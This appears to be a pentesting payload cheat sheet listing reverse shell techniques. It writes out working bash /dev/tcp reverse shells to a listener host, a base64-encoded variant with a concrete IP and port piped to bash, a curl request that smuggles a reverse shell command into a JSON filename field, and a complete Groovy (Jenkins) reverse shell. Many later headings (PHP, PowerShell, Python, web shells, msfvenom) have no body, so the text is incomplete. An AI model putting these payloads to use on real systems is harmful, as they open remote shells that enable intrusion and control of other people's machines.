Payloads
Reverse Shells
Bash Reverse Shell
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'echo -n 'bash -i >& /dev/tcp/192.168.45.184/4444 0>&1' | base64echo <BASE64_PAYLOAD> | base64 -d | bashcurl Reverse Shell
curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'Groovy (Jenkins) Reverse Shell
String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();JAVA Reverse Shell
shell.jar
ASPX Reverse Shell
Lua Reverse Shell
Markdown Reverse Shell
mkfifo Reverse Shell
Netcat Reverse Shell
Perl Reverse Shell
PHP Reverse Shell
PowerShell Reverse Shell
Use Encoded powershell payload
minireverse.ps1
Python Reverse Shell
Ruby Reverse Shell
Web Shells
PHP Web Shell
Templates
ASPX Web Shell
Bad YAML
msfvenom
Last updated